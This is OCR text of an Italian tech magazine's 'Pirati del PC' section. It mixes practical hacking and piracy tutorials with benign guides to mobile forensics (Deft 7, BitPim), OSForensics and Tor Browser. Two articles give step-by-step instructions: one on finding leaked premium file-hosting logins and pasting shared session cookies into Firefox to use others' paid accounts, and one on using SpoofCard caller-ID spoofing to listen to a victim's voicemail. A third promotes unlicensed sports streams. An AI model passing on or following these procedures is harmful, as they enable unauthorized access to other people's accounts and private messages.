validi occorre rapidità. I filtri delle ri¬ 
cerche Google e gli avvisi di Google 
Alert aiutano a individuarli prima che 
lo facciano altri utenti. Una ricerca su 
Google inserendo come parole chiave 
account premium (seguite dal nome 
del file hosting) restituisce decine di ri¬ 
sultati. Se si conosce già il servizio che si 
utilizzerà, è possibile scremare la ricerca 
aggiungendo il nome del file hosting 
che si preferisce (ad esempio, account 
premium Netioad). Mentre alcuni sono 


MEGLIO SCARICA! 

stati pubblicati di recente, per molti di 
questi non è cosi. Grazie ai filtri è possi¬ 
bile escludere velocemente quelli vecchi 
che lasciano poche speranze di succes¬ 
so. Per farlo, basta scorrere i filtri nella 
barra a sinistra, scegliere Ultima ora e 
cliccare sul risultato più recente. Spesso 
i dati di accesso sono disponibili nella 
pagina stessa, altre volte invece si dovrà 
scaricare un archivio, estrarlo e aprire il 
documento di testo contenente nome 
e password degli account premium. 
Non rimane che recarsi sulla pagina 


del file hosting e provare ad effettuare 
i login. Per essere sempre informati sui 
nuovi account, basta andare su www. 
google.it/alerts, digitare account pre¬ 
mium in Query di ricerca, dal menu 
Invia tramite scegliere se ricevere gli 
avvisi via e-mail o creare un feed (che 
assicura aggiornamenti in tempo reale) 
da fornire al feed reader (va bene anche 
il Reader di Google, accessibile dalla 
barra contestuale neH'home page del 
motore di ricerca) e cliccare su Crea 
Avviso. 



http://filmtoyou.com 
Su questo sito gli utenti 
più smaliziati trovano dati 
di accesso ai servizi di file 
hosting sempre aggior- 
nati e le informazioni su 
come ottenere i cookie 
di sblocco, oltre ai link a 
contenuti multimediali di 
vario genere. 


Biscottini per tutti 

Anche i cookie che si trovano sul Web permettono di accedere ai file 
hosting come utenti premium “non paganti”. Ecco come sfruttarli. 



^ Installiamo l’estensione 

■J ì Avviamo Firefox e colleghiamoci a www.win- 
magazine.it/link/1384. Clicchiamo Add to 
Firefox (Instali^ e riavviamo il browser per installare 
l’add-on Cookie Manager. Navighiamo verso l’home 
page del file hosting così da permettere al browser 
di registrare il nostro passaggio salvando i cookie del 
servizio in questione. 



^ Rimpiazziamoicookie... 

3 In Firefox premiamo Alt, clicchiamo Stru- 
menti/Cookies Manager+ e in Cerca digi¬ 
tiamo il nome del file hosting cui eravamo collegati 
in precedenza (Passo 1), spuntiamo la casella che 
riporta il nome PHPSESSID (ENC per Rapidshare), 
clicchiamo Edite in Contenuto incolliamo i cookie 
reperiti al Passo 2. Clicchiamo Save. 



^ : Biscotti della fortuna 

2 Con Google andiamo alla ricerca dei cookie 
*mJ premium aggiornati. Tra i risultati della ricer¬ 
ca compariranno forum come Accountpremium. 
forumfree dove quotidianamente sono postati i coo¬ 
kie di vari file hosting. Clicchiamo su quello che c’in¬ 
teressa e apriamo il link contenente l’elenco dei coo¬ 
kie disponibili per quel servizio. 



...o aggiungiamoli 

^ Se PHPSESSID o ENC non compaiono, clic¬ 
chiamo Add, digitiamo PHPSESSID (o ENC) 
in Nome, incolliamo il cookie (Passo 2) in Contenu¬ 
to e in Serverdigitiamo l’URL del servizio in questo 
modo: .rapidshare.com e impostiamo Scadenza su 
at end of session Save. Se i cookie sono validi, 
otterremo un account premium al servizio. 


in pubblico, proprio come accade su decine 
di blog e forum. Basta una semplice ricerca 
su Google per riuscire a reperire una marea 
di risultati che puntano a pagine Web in 
cui, quotidianamente, vengono pubblicati 
i dati di accesso per gli account premium 
registrati su noti servizi di file hosting. 
Celata da generosità, in effetti, si tratta di 
una strategia adottata dagli stessi gestori 
di blog e forum. Il richiamo di account pre¬ 
mium a costo zero attira migliaia di utenti 
che assicurano cospicui ricavi all’ammi¬ 
nistratore del sito Web, guadagni scaturiti 
dalle pubblicità presenti nelle pagine e 
soprattutto dai servizi di redirecting (tipo 
Adf.ly), fastidiosi strumenti di advertising 
che costringono l'utente alla visualizza¬ 
zione di un annuncio pubblicitario fino 
al termine di un conto alla rovescia (in 
genere 5 secondi). 

Meglio affrettarsi 

Anche se gli account premium condivisi 
sono numerosi e appartenenti a diversi 
servizi di file hosting, non è affatto scontato 
riuscire a trovarne uno che garantisca l’ac¬ 
cesso. La validità dell’account è limitata a 
pochi fortunati, ma più che la Dea bendata, 
è la velocità degli utenti a stabilire chi potrà 
approfittare dei dati per scaricare file senza 
alcun vincolo. Ecco perché è necessario 
arrivare prima degli altri, e farlo è difficile 
se non ci si serve di strumenti adatti. Nul¬ 
la di complicato, è sufficiente utilizzare 
le ricerche avanzate e gli Alert di Google 
(leggi tutorial), oltre che dotare il browser di 
un add-on che faccia guadagnare secondi 
preziosi bypassando i servizi di redirecting. 
Trovati i dati ancora validi per l’accesso a un 
account premium su uno dei tanti servizi 
di file hosting, l’utente potrà sfruttarlo per 
condividere file a tutta birra, ovviamente, 
sempre facendo attenzione al materiale che 
condivide/preleva dalla Rete. 
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| Si fa così 


Sport gratis 
sullo smartphone 

Guarda in libertà, dal telefonino, partite di calcio ed 
eventi sportivi senza sottoscrivere alcun abbonamento 


Cosa ci fZS 
occorre v D, v 


SMARTPHONE ANDROID 

HTC SENSATION XL 

Quanto costa: € 466.28 
Sito Internet: 

www.amazon.it 

APP PER ANDROID 

ONLINE SPORTS 

0CD 


SOFTWARE COMPLETO 


Sito Internet: 

https://market. 

android.com 


S ei in viaggio e non vuoi per¬ 
derti la partita della tua squa¬ 
dra del cuore? Grazie ai nuo¬ 
vi smartphone puoi guardarti in 
diretta gli eventi sportivi trasmes¬ 
si sul Web. Con un telefonino con 
Android e un'applicazione gratuita 


come Online Sports, puoi sintoniz¬ 
zarti su alcune piattaforme che rac¬ 
colgono i link per visualizzare live in¬ 
contri di calcio, tennis, pallacanestro 
e molti altri sport. Si tratta, di solito, 
di Web TV che trasmettono da altri 
Paesi ma che, grazie alla connessione 


dati dello smartphone, possono esse¬ 
re visti ovunque nel Mondo. Perave¬ 
re un'offerta più ampia ci sono poi 
altre applicazioni compatibili anche 
con l'iPhone che consentono di acce¬ 
dere alla più grande piattaforma te¬ 
levisiva su Internet. Vediamo come. 


U © :■ * I! ■ 17:2« 

41 Applicazioni • ) Q, 

Online Sports 
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Applicazioni 

Online Sports 


JNSOFT 


Accetta e scarica 


AUTOftiZZAZiGX! 


La tua posizione 

Localizzazione approssimativa (basata 
sulla rete) 


> 



Installiamo l’app sul dispositivo Android 

Per visualizzare in streaming sul nostro telefonino Android 
le Web TV che trasmettono eventi sportivi, ci serviremo 
dell’applicazione gratuita Online Sports, che possiamo 
scaricare dal Win CD-ROM. L’applicazione richiede che lo smar¬ 
tphone sia in grado di visualizzare i contenuti in Adobe Flash. 


I servizi a disposizione del canale sport TV 

Avviamo l’app: dalla finestra principale scegliamo gli 
eventi sportivi in diretta tra LiveTV.rue Rojadirecta.es. Lo 
streaming video potrebbe comportare un traffico dati 
elevato. Meglio, quindi, usare l’app quando siamo connessi a 
una rete Wi-Fi per non consumare il credito della scheda. 
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ONLINE A 


SPORTS 


10:00 ATP Tour 

LIVE! 
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ONLINE A 
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O Wait... 

0 

ATP Tour, Oubai 

tfjgg a 



SOLO PER 
ABBONATI 


Chi ha un abbonamen¬ 
to alla piattaforma 
televisiva di Sky, può 
anche scaricare l'appli¬ 
cazione SkyGo per iPad 
e iPhone. Questa app 
consente di visualizzare 
direttamente sul tablet 
osuitelefonini Apple 
i canali Sky TG 24, Sky 
TG 24 Eventi, Sky Sport 
24, Sky Uno, i canali 
Sky Calcio dal a 10, Sky 
SuperCalcio, Sky Sport 
1, Sky Sport 2, Sky Sport 
ì, Sky Sport Extra, Euro- 
sport, National Geogra- 
pichChannel, History 
Channel, FOX, Disney 
Channel e Disney Junior. 
Il servizio è gratuito per 
tutti i clienti che abbia¬ 
no un abbonamento 


SkyHD. 


Ecco gli eventi sportivi live 


0 Proviamo a vedere cosa trasmettono su LiveTV.ru. 
Tappiamo sul logo e attendiamo qualche secondo che 
vengano mostrati gli eventi sportivi in programma. Per 
ognuno viene mostrata l’ora di inizio e il punteggio. Tappando su 
Menu è possibile cliccare su Refresh per aggiornare i risultati. 


Cerchiamo l'evento da guardare 

B Per ogni evento in diretta viene mostrato il logo Uve 
Tappiamo quindi sull'evento che vogliamo visualizzare 
in streaming. L’applicazione verificherà la disponibilità 
dei canali Web che lo trasmettono. Se la ricerca ha esito positi¬ 
vo, il canale viene mostrato nella finestra successiva. 
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Cellulare in mano: inizia la diretta 

Basta ora cliccare sullo streaming che si vuole utilizzare per la 
visione. È possibile sia che venga aperto solo lo streaming delle 
immagini, senza quindi alcun contenuto Web, sia che invece il link 
rimandi alla pagina Internet del sito dove è possibile visualizzare l’evento 
in diretta. 


Troviamo un’alternativa per le dirette 

Se su LiveTV.ru non troviamo alcun evento che ci interessa, tornia¬ 
mo alla finestra principale e premiamo Rojadirecta.es. Anche in 
questo caso occorreranno alcuni secondi prima che l'elenco degli 
eventi venga visualizzato. Per ognuno verrà mostrata l'ora d'inizio e le re¬ 
lative informazioni. 


B 


16:30 






Tennis (ATP500 Dubai) 
Language: 

Quality: 

Language: 

Quality: 

Language: 


j hBB j 
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w 
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L e immagini contano oiù della voce 


0 Tappando sull’evento che vogliamo visualizzare, l’app mostrerà i 
canali disponibili per lo streaming. Per ognuno, oltre al nome, ci 
viene indicata la qualità e la lingua in cui trasmette. La disponibi¬ 
lità di alternative cambierà in base all'evento ed è possibile che alcuni non 
funzionino. 



RISULTATO FINALE Ed ecco finalmente l'evento sportivo in diretta sul display 
del nostro smartphone. Buona visione e buon divertimento! 


Un po’ di pubblicità prima dello spettacolo 

Cliccando sul link non bisogna avere fretta. In molti casi la pagina 
Web che permette di visualizzare lo streaming obbliga a guardar¬ 
ci un po’ di pubblicità. A volte potremmo dover attendere alcuni 
secondi. Se, trascorso questo tempo, non accade nulla, proviamo a ricari¬ 
care la pagina. 

EVENTI SPORTIVI LIVE 
ANCHE SULL'IPHONE 

La procedura vista finora era finalizzata 
a visualizzare lo streaming degli eventi 
sportivi direttamente sullo smartphone. 

Tale procedura, però, può essere tran¬ 
quillamente applicata anche sull'iPhone, 
a patto, comunque, che lo smartphone 
di casa Apple sia stato jailbreakato. Inol¬ 
tre, deve essere stato installato, tramite 
il market alternativo Cydia, il plug-in 
per il browser Safari che permette di 
visualizzare i contenuti in Flash delle 
pagine Web accessibili tramite servizi 
come LiveTV.ru e Rojadirecta.es. 




Win Magazine Speciale 23 






















Paretene, 

chi le spia 

C’è chi riesce ad origliare dal 
proprio telefonino i messaggi 
vocali altrui lasciati in segreteria 


I mmagina di estrarre il tuo tele¬ 
fono dalla tasca dei pantaloni, 
di comporre un numero e di 
poter ascoltare in pochi istanti la 
segreteria telefonica di qualsiasi 
persona desideri. Attento, perchè 
non si tratta di un film degno di Ja¬ 
mes Bond, ma della realtà. Questo 
è quello che un malintenzionato 
riesce a mettere in pratica per spia¬ 
re le conversazioni altrui. Grazie a 
un piccolo escamotage, infatti, è 
possibile ascoltare i messaggi la¬ 
sciati all’interno delle segreterie 
telefoniche di qualsiasi persona che 
abbia il servizio abilitato sul proprio 
numero di cellulare. 

Colpa dello spoofing 

La tecnica che andremo ad analiz¬ 
zare è quella dell’ID spoofing telefo¬ 
nico. In sostanza, si tratta di andare 
a modificare il proprio numero di 
telefono con uno scelto a piacere 


(in questo particolare caso con il 
numero della persona di cui si vo¬ 
gliono ascoltare i messaggi in segre¬ 
teria), facendo credere al gestore di 
telefonia mobile di essere un utente 
invece di un altro per accedere alla 
casella telefonica di quest’ultimo. 
Abbiamo verificato che il trucco 
adottato dai pirati funziona con i 
principali operatori di telefonia mo¬ 
bile, ad eccezione della Vodafone. 

Vietato dalla legge! 

Ovviamente la procedura riportata, 
qualora venisse messa in pratica 
per ascoltare le conversazioni senza 
le dovute autorizzazioni, verrebbe 
considerata a tutti gli effetti come 
violazione della privacy. L’articolo 
non vuole in nessun modo incitare 
allo svolgimento delle operazioni 
qui descritte ma ha come finalità 
lo studio per analisi personale e 
privata. 


Bl UUquilA uoa)t 

1 1 CJk/P 


Disguìse Your Number 


Iscrizione a SooofCard 

I Prima di tutto il malintenzionato si iscrive al sito SpoofCard.com per poter 
modificare il proprio numero di telefono che appare sul display della perso¬ 
na chiamata. Il servizio offerto da Spoofcard è a pagamento... ma per il 
pirata questo è solo un dettaglio. 
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Scelta dei crediti da acquistare 

J Dalla Home il pirata si sposta su Sign Up , posto 
nella parte destra del portale, e seleziona il 
pacchetto di credito preferito. Nonostante la 
scelta consigliata sia la sottoscrizione mensile da24.95$, 
quest'ultima non viene scelta, poiché il pagamento una 
tantum non è disponibile per le telefonate in Italia. 



Pronto per effettuare il Login 

Il pirata accede nuovamente al portale Spo- 
ofCard.com ed effettua l'accesso tramite il 
bottone Login posto in alto a destra. Inserirà 
il proprio codice a 9 cifre (Ctrl+V) e selezionerà l’im¬ 
magine in base alla richiesta effettuata. Si tratta di un 
sistema di sicurezza atto a garantire l’autenticità 
dell’utente e a bloccare eventuali bot. 


Un modulo da compilare 


9^ Dopo aver selezionato i crediti desiderati, il 
LI malintenzionato dovrà compilare un breve 
S M modulo con i dati anagrafici e quelli necessa¬ 
ri per effettuare l’acquisto del pacchetto. Al termine, 
per completare l’operazione, cliccherà il bottone Pur- 
chase Credits. 



Tutto pronto per la chiamata 

II pirata è pronto per configurare la “telefona- 
ta spia". Come prima cosa inserirà il prefisso 
wv internazionale (+39 per l'Italia) dall'apposito 
menu a tendina. Successivamente prowederà a impo¬ 
stare, sia per il form Destionation Number che per 
CallerID to display , il numero di telefono del malcapi¬ 
tato. Al termine preme sul bottone Place your cali. 


Il carrello della spesa 


a Terminato il pagamento, al pirata non resta 
che controllare la propria casella di posta. Qui 
troverà un codice a 9 cifre che gli permetterà 
di accedere al proprio account. Copia ( Ctrl+C] il codi¬ 
ce negli appunti del computer, dopo averlo selezionato, 
in modo da effettuare il login al servizio di Spoofcard. 



Pronti per l’ascolto 


a Configurato il sistema, il pirata prowederà a 
chiamare il numero mostrato sul portale Spo- 
ofCard dopo aver premuto Place your cali. Al 
telefono risponderà un messaggio; al termine il pirata 
premerà il tasto 3. Una nuova voce chiederà di inserire 
il numero a 4 cifre apparso sullo schermo. Fatto ciò, il 
telefono della “vittima'lnizierà a squillare. 


.,i(l tPhoncRrvun 


“1 

Segreteria 


chiamo... 

__ 


1 


3 


ABC 

DEF 

4 

5 

6 

7 

8 

9 

PORS 

TUV 


* 

0 

# 

Fine Nascondi tasti 


Attivazione 
della segreteria 

Sul display del cellula¬ 
re della vittima appari¬ 
rà il suo stesso nume¬ 
ro di telefono. Se la persona in 
questione risponderà alla chia¬ 
mata, allora la tecnica di “ascol¬ 
to" sarà fallita; nel caso in cui 
il destinatario dello scherzo 
abbia il telefono spento o deci¬ 
da di non rispondere, scatterà 
la segreteria telefonica. In que¬ 
sta situazione, però, invece di 
consentire la registrazione di 
un messaggio vocale, consen¬ 
tirà al pirata di ascoltare i mes¬ 
saggi del numero in questione 
registrati. 



COME FANNO I PIRATI A 
"SPULCIARE" TRA LE SEGRETERIE 

Abbiamo visto come è facile spiare i contenuti 
delle segreterie altrui mettendo in pratica 
la tecnica dell'io spoofing telefonico. Ma i 
sistemi di protezione come mai non funzio¬ 
nano? Purtroppo l’attivazione della segreteria 
telefonica avviene attraverso l’identificazione 
del chiamante, in particolare attraverso il suo 
ID telefonico. Quindi, se qualcuno riuscisse a 
utilizzare lo stesso numero di telefono della 
persona a cui sta telefonando, avrebbe vita 
facile a "bucare" il sistema informatico del 
gestore telefonico accedendo liberamente 
a tutti i messaggi vocali. A questo punto ci 
auguriamo che i vari operatori telefonici de¬ 
cidano di correre subito ai ripari pertutelare 
al meglio la nostra privacy. 
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Cosa ci ( 
occorre 

TOOL PER CREARE 
SISTEMI UVE 
USB AWIABILI 

UNETBOOTIN 

j Lo trovi sii: ‘'CD 

Quanto costa Gratuito 
Sito Internet: 

http://unetbootin. 

sourceforge.net 

TOOL DI ANALISI 
FORENSE 

DEFT7 

Lo trovi su: S?CD 

€5EEiIE3EnS) 

Sito Internet: 

http://www.deftlinux.net 


C ellulari e smartphone sono dispositivi 
tecnologici che fanno parte ormai della 
nostra vita quotidiana e che utilizziamo 
per gli usi più disparati. Ci permettono infatti 
non solo di scambiare messaggi di testo ed ef¬ 
fettuare o ricevere chiamate aud io e video, ma 
anche di scattare foto, registrare video, navi¬ 
gare su Internet in mobilità, chattare, postare 
contenuti multimediali sui social network e 
molto altro ancora. Possono essere considerati 
quindi una sorta di "scatola nera" delle nostre 
attività quotidiane, dal momento che nella loro 
memoria interna è conservata una miniera di 
file personali. Grazie ad alcune tecniche usate 
dagli esperti di Mobile Forensics (in campo 
investigativo, è la scienza che si occupa di recu¬ 
perare prove da dispositivi mobili) è possibile 
effettuare un backup dei dati memorizzati negli 
smartphone e ciò può essere particolarmente 
utile per preveni re eventuali malfunzionamenti 
del dispositivo stesso oppure per recuperare 
qualsiasi file importante ospitato dalla sua me¬ 
moria. Il principale strumento utilizzato per 
entrare nel cuore dei telefoni Android o Apple 
ed effettuare un backup dei dati memorizzati 
al loro interno è Deft 7, una distribuzione Linux 
che contiene tutti gli strumenti del caso per 
effettuare un’accurata analisi dei contenuti 
e recuperare anche file cancellati o nascosti. 

Occhio al cellulare! 

Le tecniche illustrate in questo tutorial, però, 
possono essere utilizzate anche da malinten¬ 
zionati che eventualmente dovessero entrare in 
possesso del nostro smartphone. Da un cellulare 
altrui un qualunque sconosciuto può recupe¬ 
rare non solo foto, video e altri dati legati alla 
nostra privacy, ma anche la password di accesso 
a Facebook o all’account di posta elettronica. Il 
consiglio è pertanto quello di fare molta atten¬ 
zione a dove riponiamo il cellulare, evitando in 
ogni caso di lasciarlo incustodito. 


Recupero dati 
per cellulare 


Quando tutto sembra perduto 
chiediamo aiuto al PC per 
ripristinare rubrìca, SMS, dati... 







| Recupero dati per cellulare 


Pirati del Pt C* 


□ Analisi di un cellulare Android 


Vediamo come creare una pendrive awiabile con Deft 7, la distribuzione Linux che consente di entrare nel cuore 
di uno smartphone dotato del sistema operativo targato Google ed effettuarne un backup dei dati. 




1 


doppio clic sul file unetbootin-windows-575. 
exe per avviare il programma. Cucchiamo sul 
tasto Sì quando compare il messaggio di avvi¬ 
so deH’UAC. 


Eseguiamo il software 


La ISO della distribuzione 


Scompattiamo il file UNetbootin.zip che 

2 

Nell’interfaccia principale del programma 

3 

f troviamo sul Win CD-Rom, facciamo 


selezioniamo Immagine disco , quindi clic- 

w 


chiamo sul pulsante Sfoglia a destra per raggiun¬ 
gere il percorso nel quale è salvata l'immagine di 
Deft 7 che abbiamo scaricato dal Win CD-Rom. 
Confermiamo con un clic su Apri. 


La pendrive ora è pronta! 

Colleghiamo a questo punto la pendrive 
ad un ingresso USB disponibile nel com¬ 
puter e selezioniamola dal menu a tendina Unità 
presente nell'interfaccia principale di UNetbootin. 
Avviamo la creazione del sistema operativo live 
con un clic su OK. 



Avviamo la distribuzione 

4 1 Colleghiamo la pendrive avviabile conte- 
1 nente Deft 7 ad un ingresso USB disponi¬ 
bile sul PC ed avviamone il boot. Quando appare 
il boot manager della distribuzione, selezioniamo 
la lingua italiana, poi Deft Linux UVE e premiamo 
Invio. Attendiamo quindi il caricamento dell’OS. 


a Meglio usare la GUI 

§ i Di default, Deft 7 si avvia priva di interfac- 
eia grafica. Per rendere ogni operazione più 
agevole e di sicuro alla portata anche dell'utente 
meno esperto, digitiamo nella shell deft-guie con¬ 
fermiamo con Invio. Dopo qualche secondo l’in¬ 
terfaccia grafica della distribuzione viene caricata. 


Ecco il menu dei software 

Non appena Deft 7 sarà pronta all’uso, 
cucchiamo sul pulsante di menu presente 
in basso a sinistra e spostiamoci in DEFT/Mobile 
Forensics. qui sono raccolti tutti i software inte¬ 
grati nella distribuzione fondamentali per l’analisi 
di un telefonino. Clicchiamo su BitPim. 



▲ t II telefonino è connesso 

y I Prima di analizzare il telefono connesso alla 
porta USB del PC è necessario procedere 
alla sua configurazione. Clicchiamo su Import Data 
e seguiamo la procedura guidata per il riconosci¬ 
mento del dispositivo collegato al PC. Compiliamo 
i campi richiesti e confermiamo con Next. 


Cosa vogliamo importare? 

Al termine della procedura guidata, pos¬ 
siamo cliccare su Get Data from Phone e 
da qui selezionare il tipo di risorsa da importare. 
Fra questi troviamo gli SMS , la rubrica e qualsiasi 
altra tipologia di dati memorizzabili su un termi¬ 
nale. Confermiamo con un clic sul pulsante OK. 


L’analisi è completata 

La durata del processo di importazione 
varia in base alla quantità di dati memoriz¬ 
zati sul dispositivo. Al termine, possiamo spostarci 
fra i vari tab disponibili (Calendar, SMS. Phone- 
Bookecc...) per analizzare tutto il contenuto che il 
software è riuscito ad acquisire. 
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L’iPhone sotto la lente 


Servendoci dei tool integrati nella distribuzione Deft 7 possiamo analizzare il backup del contenuto della memoria 
di un qualsiasi smartphone Apple. Ecco come procedere e quale software utilizzare. 



* Un tool per detective 

| Dopo aver avviato la nostra copia di Deft 7, clicchiamo sul pulsante 
menu presente in basso a sinistra dell’interfaccia grafica e raggiungia¬ 
mo la voce DEFT. Da qui spostiamoci in Mobile Forensics ed avviamo il tool 
Iphone Analyzer. Clicchiamo su File e selezioniamo Open file. 




^ Carichiamo il backup 

2 | A questo punto, raggiungiamo la directory nella quale abbiamo memo- 
rizzato il backup del melafonino. Non ci resta dunque che confermare 
con un clic su Apri e attendere che il backup salvato venga riconosciuto dal 
software. Esploriamone quindi il contenuto. 



^ Un sofware alternativo 

J 1 Un altro tool, interamente a riga di comando, che possiamo utilizzare 
per mettere sotto la lente un qualsiasi iPhone è Iphone Backup Analy¬ 
zer. Avviamolo dal menu Mobile Forensics (presente in DEFT). Per conoscere 
i comandi disponibili digitiamo iphone-backup-analyzer -h. 


Il backup è servito! 


^ \ Se vogliamo ad esempio analizzare un backup di un melafonino dota- 
to di sistema operativo iOS 4, digitiamo il comando iphone-backup- 
analyzer -d/home/directory_del_backup -4 e confermiamo con Invio. Non 
ci resta che analizzare il risultato restituito! 


SCOPRIRE I SEGRETI NASCOSTI NEL PC 


Nella memoria del computer si può celare la 
cronologia di una Chat nella quale la vittima 
di un omicidio si è confidata col suo assassino. 


Fiies(O) Imoges (0) ; Emetl (0) Unollocated (3) Timelme 


Urallocatec ciuster (disk c:) LCN Range: 20441 * 

efen>ent Ermgrattng efement is betng moved avj 
element bang bro tight to an abrupt stop In Test ew 
Score 47 Matched 1 


Unallocated ciuster (disk e:) LCN Range: 206231 

1 0 Type LibraryVV ersEvents lntefface5 Event c 
ILogonUser InterfaceWW Get thè named user setti 
Score 33 Matched 1 

Unallocated ciuster (disk c:) LCN Range: 20467! 

Expired- Indie ates that password has expired A 
Disabled Home Dir Required Lockout Password Ni 
Score: 30 Matched: 1 


Esiste un software, OSForensics, che integra 
tutti gli strumenti necessari per effettuare una 
vera e propria indagine forense su un computer 
e scoprire i segreti nascosti da chi lo utilizza. È 
così possibile andare alla ricerca di tutte le mail 
archiviate sul disco rigido, anche quelle cancel¬ 
late, scoprire il numero di accessi effettuati al 
PC e altre informazioni sulle attività compiute 
dall'utente su Internet, come il browser uti¬ 
lizzato, i siti più visitati, i download effettuati 
e i log delle chat. Ma non finisce qui. Grazie a 
questo potente tool è possibile anche recu¬ 
perare i file eliminati dal disco rigido e tutte 
le password celate nel sistema. Seguendo i 
trucchi e le procedure passo passo descritte 
nell’articolo, anche noi possiamo trasformarci 



in provetti esperti di Computer Forensics ed 
effettuare un veloce controllo sul nostro stesso 
computer. Scopriremo che, servendosi delle 
tecniche e degli strumenti giusti, agli investi¬ 
gatori informatici non sfugge davvero nulla! 
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Adozione a distanza. 

Lontano dagli occhi, vicino al cuore. 




Un aiuto concreto ai bambini, là dove c’è bisogno. 

Per milioni di bambini, l’adozione a distanza spesso rappresenta l’unica speranza di una vita dignitosa, in grado di 
assicurare cibo, assistenza sanitaria e istruzione, tutto questo nel loro paese di origine. Fai anche tu la differenza: 
bastano solo 65 centesimi al giorno per sostenere l’adozione a distanza di un bambino. 


Per ricevere informazioni sull’adozione a distanza chiamaci allo 02 70.60.35.30 oppure compila e spedisci questo coupon via fax 
al numero 02 70.60.52.44 0 in busta chiusa: 


Nome 

Cognome 


Email 


Indirizzo 



N° 

Cap 

Località 

Provincia 

Tel 


Celi 


I dati personali che vorrai fornire liberamente saranno utilizzati esclusivamente per finalità correlate agli scopi statutari della Fondazione “aiutare i bambini” e saranno 
trattati con strumentnnformatici e non. Il titolare del trattamento è la Fondazione “aiutare i bambini", alla quale potrai rivolgerti per qualsiasi informazione 0 per chiedere 
integrazione, la rettifica 0 la cancellazione dei tuoi dati personali. Ti invitiamo a visionare l’informativa completa su www.aiutareibambini.it/privacy. 


Data 


seguici su: f 


Firma 


o 

J- 


Fondazione “aiutare i bambini” Onlus 

via Ronchi, 17 - 20134 Milano - Tel 02 70.60.35.30 

www.aiutareibambini.it 




aiutare i bambini 

ogni giorno, davvero 
















Pirati del PC 


Tor Browser 


Paura di essere spiati? Con le nostre dritte e il software 

giusto possiamo navigare come fantasmi della Rete 


La maschera per 
essere anonimi 


Cosaci 

occorre 


SOFTWARE PER 
NAVIGARE ANONIMI 

TOR BROWSER 

✓co 


SOFTWARE COMPLETO 


Sito Internet: 

www.torprojectorg 


D iverse volte abbiamo affrontato il de¬ 
licato tema dell’anonimato sul Web: 
sempre più siti raccolgono, infatti, le 
nostre informazioni personali col rischio 
che vengano condivise in Rete. Come ben 
sappiamo, quando navighiamo siamo iden¬ 
tificati nel grande mare di Internet mediante 
un indirizzo IP univoco. È un po’ come effet¬ 


tuare una chiamata: il destinatario (nel caso 
specifico il sito Web raggiunto) è in grado di 
conoscere il nostro numero (l'IP) ed eventual¬ 
mente localizzarci su una mappa geografica. 
E se riuscissimo a cambiare l’indirizzo IP, 
facendo perdere le nostre tracce in giro per il 
mondo? Se ci sembra fantascienza, sbagliamo 
di grosso: la soluzione c’è e si chiama Tor 


Browser, il software che permette in pochi clic 
di navigare in maniera totalmente anonima 
perché non solo è in grado di nascondere il 
nostro indirizzo IP, ma addirittura anche di 
mascherare il traffico Internet generato dal 
browser stesso: in pratica, è come diventa¬ 
re davvero fantasmi della Rete! Scopriamo 
dunque come procedere. 



SEMPRE PRONTO 
ALL'USO 

Tor Browser Bundle è 
distribuito in versione 
portable: ciò vuol dire 
che possiamo tenerne 
sempre una copia sulla 
nostra inseparabile 
pendrive, pronto ad 
essere avviato su qual¬ 
siasi PC. Non dovremo 
installare nulla e la 
nostra configurazione 
personale viene co¬ 
munque salvata senza 
doverla rifare ad ogni 
avvio. Il nostro consi¬ 
glio è dunque sempre 
quello di tenere una 
copia di Tor Browser 
a portata di mano, 
specialmente In quelle 
situazioni un cui il pe¬ 
ricolo è sempre dietro 
l'angolo: pensiamo, ad 
esempio, alle volte che 
potremmo collegarci 
ad un hot spot Wi-Fi 
pubblico o a reti senza 
fili prive di protezione, 
magari durante le no¬ 
stre vacanze in Italia e 
all'estero. 




Download del software 

£9 Dal Win CD-Rom scompattiamo l'archivio compres- 
I so TorBrowser.zipm una qualsiasi cartella del nostro 
wM disco rigido. Al termine, accedendo al contenuto di 
questa nuova directory, troveremo il file di installazione di 
Tor Browser. 


Avviamo Tor Browser 


a Clicchiamo due volte sul file tor-obfsproxy-browser- 
bundle-2.3.12-4-en-US.exe: si tratta di un archivio 
autoestraente e quindi creerà una nuova cartella Tor 
Browser. Accediamo al suo contenuto e cucchiamo due volte sul 
file Start Tor Browser per avviare il software. 




Connessione come clienti 

Verrà così mostrato il pannello di controllo Vidalia : clic- 
chiamo subito sul pulsante Settings per cominciare a 
personalizzare le impostazioni del nostro nuovo proxy 
anonimo. Spostiamoci nella scheda Sharing e da qui selezionia¬ 
mo l'opzione Run ad a Client only. 


Regole per il firewall 

a Se sul nostro PC è installato un firewall che lascia attive 
solo alcune porte, spostiamoci in Network e abilitiamo 
l’opzione My firewall only lets me connect to certain 
ports. Compiliamo il campo Allowed Ports inserendo quelle 
ammesse (nel caso in figura, 1 80 e la 443). 
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Una lingua più familiare 

La lingua predefinita per l'interfaccia utente di Vidalia è 
l’inglese. Percambiarla, spostiamoci nella schedazlppe- 
arance (sempre presente in Settingd) e selezioniamo dal 
menu a tendina Language l'opzione Italiano. Possiamo inoltre 
cambiare lo stile grafico da Style. 



Impostazioni avanzate 


a Terminiamo la configurazione preliminare di Vidalia spo¬ 
standoci nella scheda Avanzato. Nella sezione Control¬ 
lo di Tor verifichiamo che sia attiva l'opzione Utilizzo di 
una connessione TCP (ControlPort) e selezioniamo Configura 
la porta di controllo automaticamente. 



TWrr i» ■ Mcarifv npdafr ailablr fot thè Tor Btdwmt Bandi**. 

C’jjc k frerc to go to the download page 




Condividere è bello! 

I Se vogliamo condividere la nostra rete (ed in particolare 
l’indirizzo IP reale, che quindi verrà usato per qualcun’al- 
I tra) con gli altri utilizzatori della rete Tor, spostiamoci in 
Condivisione e selezioniamo Aiuta gli utenti sotto censura a 
raggiungere la rete Tor. 



Pannello di controllo Vidalia 


Stato 

Stato di avvio non riconosciuto 


Shortcut di Vidaka 



(a). 

0 " 


• «« 


Configurasene del rdayngVi 


Usa una nuova identità 


Grafico defampiezza di banda Q Aiuto_ ft Informazioni su 


E adesso si naviga... 

j Clicchiamo sul pulsante OK per ritornare al Pannello di 
controllo Vidalia. Clicchiamo su Start Tor per provare a 
stabilire una nuova connessione nella rete anonima: 
l’operazione dura qualche secondo, al termine del quale si avvie¬ 
rà automaticamente Mozilla Firefox. 




ANCHE PER 
LINUX E MAC 

Se, oltre al nostro ama¬ 
to Windows, utilizziamo 
anche una qualsiasi di¬ 
stribuzione GNU/Linux 
(come Ubuntu) osiamo 
in possesso di un Mac, 
possiamo difendere 
ugualmente il nostro 
anonimato. Raggiun¬ 
gendo infatti il sito Web 
www.torproject.org 
possiamo procedere al 
download di Tor Brow¬ 
ser anche per le altre 
piattaforme software. 

